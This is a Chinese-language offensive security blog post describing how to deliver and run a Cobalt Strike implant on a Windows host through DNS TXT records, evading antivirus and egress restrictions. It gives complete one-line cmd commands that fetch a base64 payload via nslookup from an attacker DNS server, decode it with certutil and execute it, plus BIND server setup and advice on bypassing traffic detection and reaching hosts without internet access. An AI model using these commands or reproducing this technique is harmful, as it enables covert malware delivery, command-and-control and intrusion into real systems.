打了这么多的攻防演练了,很多时候我们可以执行命令了,但是没有回显、也不交互、添加加用户远程桌面没开、想远程下载木马有杀软拦截、循环写入遇到负载均衡、或者目标根本不出网
当然了,一部分兄弟应该是有方法可以上线cs的,比如 certutil 方面的绕过等等吧,但是这些都不是长久之计,杀软随时都有可能把绕过的路堵死,我们是怎么思考这件事的呢?
- 应对杀软问题 我们使用的方法要么是从来没有人用过的,要么就是把系统或者管理人员常用的功能组合起来
- 应对负载均衡 要把传递木马载荷 处理载荷 执行[ 清理操作] 做成一个原子操作,也就是成为一个整体,一条命令就结束
- 不出网 利用目标内网DNS或者端口复用
- ...
接下来我们将以实现Windows只能执行命令且有杀软条件下的木马载荷传递上线cs为例介绍操作背后的“跨时代意义”的思想
0x01 传递载荷的方式
大家总结的传递载荷的方式一般包括:
- powershell
- certutil
- vbs
- Bitsadmin
- ftp
- tftp
- debug
- msiexec
- mshta
- rundll32
- regsrv32
- ...
很多很多方法,但是基本上都被360这类的杀软给特殊照顾了,除非使用新的绕过手法,不然根本行不通
在刚上大学那会儿,打CTF时候遇到过一次签到题考点是 DNS TXT
记录中保存着 flag
,那我们是不是可以也通过 DNS TXT
记录进行传递载荷呢?
关于 DNS TXT
记录的意义可以参考下面两篇文章:
- TXT 记录值 - Google Workspace 管理员帮助 https://support.google.com/a/answer/2716802?hl=zh-Hans
- DNS中TXT记录是做什么用的? https://heranonazure.wordpress.com/2016/06/10/dns中txt记录是做什么用的?/
在几乎所有的 Windows 系统上都有默认的 nslookup
程序,这个程序就是用来做 DNS 解析的,所以我们可以在几乎所有的 Windows 系统上使用 nslookup
来做DNS解析从而获取载荷
这样我们就有了载荷传递的方式
0x02 处理载荷
现在我们已经有能力让服务器主动获取一段字符串了,但是这段字符串和其他的结果排列在一起,我们需要对这段字符进行处理,以便我们使用
如果你觉得这段很简单,我真的想哐哐给你两脚!!!
其实这是一个颇为复杂的东西,原因就是windows cmd 默认的指令能力实在是有限,我想截取一些字符串需要大量的操作,好在最后我解决了
获取载荷所在的行——findstr
看似很顺利,但是这里有一个问题:我们要传递的木马文件会有大量的字符,会有很多很多行,如下所示:
所以如果想要获取所有的行,那么就需要在所有的行中设置一个 flag
,方便我们 findstr
进行筛选
这样我们就把所有的载荷所在的行筛选出来了,虽然带着我们的 flag
字符 exec
,后期我们再想办法把它去掉
对载荷进行拼接
如果是Linux,可能20分钟我就搞定了,但是 Windows 中愣是耗费了我两天时间
在 Windows cmd 中需要使用 for
命令
for {%% | %}<variable> in (<set>) do <command> [<commandlineoptions>]
具体可以查看
for | Microsoft Docs
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/for
经过两天的挣扎制作出来的命令
代码语言:javascript复制cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (set a=%i && set b=!b!!a:~5,-2!) && set c=!a:~-6,-2! && if "eofs" == "!c:~0,-1!" echo !b:~1,-4!" > ttt.txt
上面这个指令可以实现写入任意你想写入的字符到 ttt.txt ,当然这离不开我们自己的DNS服务器端的配置
说实话,如果你真的想在实战中使用本文介绍的方法,你就好好去看看上面的这段命令,看不明白可以微信联系我或者公众号私信我,不然你直接拿过来用肯定会骂我的,不过放心,后期我肯定会出一个脚本,直接生成,让大家不用再写
到目前来说,我们已经可以实现将脚本类的文件仅仅通过一个DNS请求写入到目标系统并且直接执行,所以说你要是擅长 bat,vbs等等脚本类东西你就可以直接上线了
但是我们的目的可不仅仅就是传递一个文本,我们要传递二进制可执行文件!
编码转换——certutil
certutil
这是个好东西
详细使用方法参考
certutil | Microsoft Docs
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
- 它可以实现特定格式的base64编码字符串的转换,将base64编码的字符串直接转换为二进制文件
- 也可以将特定格式的16进制的字符串直接转换为二进制文件
这在Windows 中多命令里就算是宝藏了,不然用 cmd 命令实现 base64 解密得累死,当然了,这里推荐一个工具网站,可以把部分 c 语言逻辑的代码转为 bat 格式或者bash格式,但不要有特别大的期待
Batsh - A language that compiles to Bash and Windows Batch
我们分别将 whoami.exe
转换为 certutil
能接受的16进制和base64字符格式
base64:
如此格式的base64字符串才可以被成功转换为二进制可执行程序,你可能还没有意识到这里有什么问题,第一个问题是字符串包含头部和尾部字符串;第二个问题是每一行的字符串最大长度是固定的,64个字符
HEX:
好家伙,16进制这个虽然说没有头部和尾部字符串,但是可是有一堆不好处理的字符,打印其实倒也无妨,主要是这些字符占用空间太大了,这个原因直接导致我们放弃HEX,使用 base64 ,为什么这么坚决后面大家就知道了
既然我们选择了 base64 ,那我们就需要修改刚才的命令,以适应base64首尾字符串以及每行最大长度的要求
代码语言:javascript复制cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)"
既然输出没有问题了,可以进行转换了,这里又涉及一个问题:certutil
只能对文件进行转换,所以我们需要将输出字符串输出到文件中,再使用 &&
进行连接命令,转换字符串为二进制可执行文件
cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)" > ttt.txt && certutil -decode ttt.txt a.exe
0x03 执行二进制程序[ 清理操作]
这里清理操作我作为可选择项来进行考虑,因为通过执行二进制程序你已经获取到了一个 shell,这样的话,你可以通过shell来进行清理,所以这里就不进行清理操作了
代码语言:javascript复制cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)" > ttt.txt && certutil -decode ttt.txt a.exe && cmd /c a.exe
OK,成功上线 CS
文章到这里可以结束了,但是以我们团队的风格来说,一定要把这其中涉及的知识点和大坑点说清楚
0x04 自建DNS服务器
其实这里涉及两个场景,这也是精彩的地方,但也先不说,我们还是以上面这个案例为主来进行搭建,懂了这个,另一种场景你肯定也会懂的
DNS工作原理以及DNS服务器搭建过程可以参考下面几篇文章:
- DNS:从零搭建公司内网DNS服务器 - Dy1an - 博客园 https://www.cnblogs.com/Dy1an/p/11157152.html
- 如何搭建一个DNS服务器 https://ghh3809.github.io/2021/03/17/create-dns-server/
我以一个搞安全的角度去说一说DNS这块,上面案例的命令中我们使用 nslookup www.mydomain.com 192.168.31.88
其中 192.168.31.88
这个参数就是让系统委托 192.168.31.88
(攻击者自己搭建的DNS服务器) 来为 www.mydomain.com
进行解析,如果不加这个参数,那么系统会使用自己配置的DNS服务器进行解析,可能是内网DNS服务器、路由器、 8.8.8.8 或者本地运营商DNS等等,企业环境可能就是企业内网中自建的 DNS 服务器
在这种情况下,我们不需要拥有 www.mydomain.com
这个域名。简单来想就是目标主机向攻击者DNS服务器发起一个基于UDP 的 DNS 请求,攻击者 DNS服务器想返回什么结果就返回什么结果。这和让目标主机通过浏览器访问攻击者的web服务器情形是一样的,攻击者想返回什么内容就返回什么内容
听到这里你肯定感到了一丝窃喜对吧,你可以让目标主机向你的DNS服务器发起对 baidu.com
的 DNS 解析,对于baidu.com
解析可能在很多安全设备看来无比正常,同时人工排查的时候也很难发现
没错,这种自定义解析连接
C&C
的方式已经被国外部分僵尸网络程序使用了,从而绕过了流量设备的检测,隐藏了真实的IP地址
废话不多说,开始搭建:
Centos 7 Bind DNS服务器程序,以解析 www.mydomain.com
为例
(Ubuntu 或者其他系统也是类似的,我保证你看懂这个,就能看懂其他的)
安装 BIND
代码语言:javascript复制yum -y update
yum -y install bind bind-chroot bind-utils
修改 BIND 配置文件,允许其他主机使用 DNS 服务
代码语言:javascript复制vim /etc/named.conf
options {
# 监听来自于所有打到53端口的请求
listen-on port 53 { any; };
# 允许来自任意host的DNS查询
allow-query { any; };
# 转发逻辑为:服务器将只会请求 forwarders中的DNS主机,请求失败时,将直接应答fail
# 如果不将自己的服务器作为转发服务器,则无需配置forward和forwarders,此时所有的解析将按照之前的迭代查询方式进行查询
# 转发服务器列表:8.8.8.8
forwarders { 8.8.8.8; };
}
这里主要就修改几项
listen-on port 53
设置为any
allow-query
设置为any
- 新增
forwarders { 8.8.8.8; };
修改后如下图所示
添加我们要解析的域名
在辅助区域配置文件/etc/named.rfc1912.zones
中,添加一条我们自己创建的区域
zone "mydomain.com" IN {
type master;
file "mydomain.com.zone";
allow-update { none; };
};
为解析的域名设置 TXT 等记录的值
我们直接复制一份 /var/named/
目录下的 named.localhost
,使用 cp -a
会直接把对应的权限设置也一并 copy
给新文件 mydomain.com.zone
cp -a /var/named/named.localhost /var/named/mydomain.com.zone
默认内容就是上面这样的,我们可以在这里添加我们要的各种记录,这里只涉及 TXT
记录
我们添加了一条 www
子域名的 A 记录,我们将其IP地址解析到 1.1.1.1
同时,我们为 www
子域名添加了一条 TXT
目录,并且设置其值为 "hello world"
启动 BIND 服务
代码语言:javascript复制systemctl start named
成功启动,可以看到 53 端口监听在 192.168.31.88
上,大坑出现了,centos 默认会开启防火墙,所以需要关掉或者开启相关策略,这里粗暴一些,直接关掉
systemctl stop firewalld
测试服务可用性
可以看到,现在服务可用,我们可以任意修改解析记录来传递载荷了
0x05 一些大坑问题
TXT 记录长度问题
本来这个实验我是用自己 GoDaddy
上的域名来做的,因为 GoDaddy
上默认就可以设置 TXT
记录,那会简单很多,不需要搭建 DNS
服务器了
这里的问题是经过我的fuzz GoDaddy
一条 TXT
记录最长为 1024
个字符,我们一个木马最少需要2w个字符,所以 1024
远远不够。从图上可以看出来,GoDaddy
也是支持设置多个TXT
记录的,但是经过我的测试每次请求得到的TXT记录数量、TXT记录的顺序都是不确定的,当然我们可以通过在字符串中设置 1、2、3这样的标记,之后后期获取的时候用命令去匹配和拼接,但是吧,Windows cmd 中的命令弱的程度你懂
那这里就涉及一个问题了,是不是 TXT
记录最大就 1024
个字符呢?这件事就别百度了,如果百度,它会告诉你最大可能只有 256
个字符,所以我就使用了比较流行的 BIND
作为 DNS 服务器自己搭建了一个
当然,你完全可以使用 scapy
等程序自己写一个只返回 DNS TXT
记录解析结果包的程序
BIND 服务器超长字符配置方法
这种问题一般人是不会使用到的,所以搜索起来比较麻烦,好在国外有大哥遇到了,并且给出了书写规范
现在我们设置 TXT
记录方式如下:
说白了就是直接写了一个字符串,但是如果字符串长度过长,就会导致服务启动失败,我们可以通过下面这种形式将长字符分割为多个字符组合
这种情况下,只要每行不超过最大值,就可以写很多很多行的字符,实测可以超过 1024
个字符
UDP 包大小限制
上一个大坑解决以后,我以为可以任意字符写入了,最终在搞定了其他条件后,测试的时候发现,一个 70k
的程序 base64
后的结果填充到 TXT
记录后,重启DNS服务怎么也启动不起来,我这才意识到,可能 BIND 自己也有一定长度字符限制,通过 fuzz 我也找到了 BIND 最大的字符限制,大概 60000多
为啥我没有记得这么清晰呢?因为当我设置为最大值的时候,我发现 nslookup
竟然报错了
后来我查阅了一些资料明白过来,DNS请求和回应包都是 UDP包,UDP包最大长度为 65535
,还有一些头会占用部分长度,所以留给 TXT
记录的长度最长也就是 65515
左右
好在 CobaltStrike 生成的 stege
木马仅有 14K
左右, 远小于 65515
Centos 默认存在防火墙
这个问题上面已经说到了
代码语言:javascript复制systemctl stop firewalld
NAT 模式下虚拟机之间不互通
这一点是我网络知识没有学好,导致前期配置好了DNS服务器,但是一直解析失败,导致自我怀疑
使用 桥接模式 或者直接使用 VPS 就解决了
cmd 字符转义问题
cmd
命令用在 for
循环的单引号中时,为保证执行正常,需要使用转义符,不同的符号转义符也不一定一样,具体可以参照:
DOS特殊字符转义方法_kucece的专栏-CSDN博客_dos转义字符
我没有找到原作者是谁,只能po上来这篇转载的文章,csdn 让人恶心的地方就是标记了转载,但是可以不设置转自哪里
cmd 命令中变量值不变的问题
这个问题看起来很奇怪,但是很重要,cmd命令中,如果你不开启延时变量,变量的值在循环过程中是不会变化的,在批处理中可以使用 setlocal EnableDelayedExpansion
进行开启延时变量,在 cmd 命令中需要使用 cmd /v:on
来进行开启,之后所有的变量不再使用 %a%
这种形式,而是使用 !a!
这种形式
cmd 命令中关闭命令本身 echo
cmd /Q
这个大家自行体会一下就可以了
cmd 命令中 for 命令边界问题
很难想象,在 cmd 中 for 命令是没有边界的,至少是我没有发现
什么叫没有边界呢?
代码语言:javascript复制for /f for /f "tokens=*" %%i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (xxxxx)
这里 do
后面的括号中xxxxx 就是要执行的命令
但是如果我想在整个for 循环命令结束后打印某个变量
代码语言:javascript复制for /f for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (xxxxx) && echo %a
这个时候的结果是每一次循环都会打印一次 %a
,也就是说 echo %a
成了for
循环 do
后面的一部分
这个问题没有办法解决,只能通过嵌套 if
判断来控制什么时候打印
这个时候我们再来看上面例子中传递任意字符的那条指令
代码语言:javascript复制cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (set a=%i && set b=!b!!a:~5,-2!) && set c=!a:~-6,-2! && if "eofs" == "!c:~0,-1!" echo !b:~1,-4!" > ttt.txt
这里有一个判断是 if "eofs" == "!c:~0,-1!"
"!c:~0,-1!"
就是可以看成一个变量,这里的意思也就是如果这个变量等于 eofs
,那么就 echo !b:~1,-4!
,也就是打印一个变量的值
这里的 eofs
是我自定义的,为了能够控制在全部字符传递结束后打印并重定向到文件中,我只能在 TXT
中的最后一行设置为 execeofs
,其中 exec
为 筛选用的 flag
,eofs
作为结束标志,并在最终的打印字符中将这四个字符去掉,这样才能取得完整的字符
0x06 再走一遍CS木马上线
这回把所有的知识点都解释了,我们来重新实施一遍,一次性让大家都能够实操
DNS服务器搭建这种就不说了,只说配置问题
生成木马文件
certutil 生成特定格式base64字符串
代码语言:javascript复制certutil -encode artifact.exe a.txt
将字符串处理成 BIND 配置文件
BIND 配置文件的字符格式为
代码语言:javascript复制("aaa"
"bbb"
"ccc)
所以需要把上面的字符串简单处理一下,这个简单写个 python 脚本就能解决,这里就不写了
将这段字符复制到 TXT
记录的配置处
重启 DNS 服务
代码语言:javascript复制systemctl restart named
目标主机一条命令加载并执行程序上线CS
代码语言:javascript复制cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)" > ttt.txt && certutil -decode ttt.txt a.exe && cmd /c a.exe
成功上线CS
0x07 为什么说这种思想有“跨时代”意义
吹牛成分较大,但是确确实实解决了一些问题,还可以引出很多的扩展的思考
1. 写文件不怕负载均衡设备了
这个没啥说的,我们把一切变成了原子操作
2. 一定程度上躲避杀软和流量检测
我们可以让目标向我们自己的DNS服务器去解析百度的域名,一定程度上会逃过流量检测
3. 将不出网的主机变成了出网主机
这点很重要,很多目标单位重要系统虽然不出网,但是这些服务器配置了自己的内网DNS服务器,也就是说他们可以主动通过单位内部的DNS服务器连接外部,如果结合今天讨论的方法,我们可以让这个不出网的主机直接执行一个 DNS隧道的木马 或者 让木马做直接做端口复用,这样可以完成反向隧道或者正向连接,形成控制不出网主机的目的
下面我们针对目标系统可以执行命令,但是不出网,目标系统配置了它们单位自己的DNS,可以解析DNS这种情况做一下思路整理:
因为本身不出网,假设 112.112.112.112
是攻击者的DNS服务器 如果我们执行 nslookup -qt=TXT baidu.com 112.112.112.112
这种方式就执行不了了,因为服务器不出网,只能向自己内网配置好的那台DNS服务器发起请求。这个时候我们只能通过买一个域名,之后将域名解析的工作交给 112.112.112.112
来进行攻击
这个请求就变成了:
目标主机 -> 内网DNS -> 根服务器等 -> 112.112.112.112
这样同样可以获取最大 65515
个字符的载荷
之后木马同样通过这种路径与 C&C
进行连接
4. 这种思想几乎适用于所有的系统
这个没啥说的,就是字符处理命令上的不同,Windows、Linux、Mac、AIX等
5. 这里只是利用了DNS协议和nslookup,其他呢?
这里留白,留给更多愿意思考的安全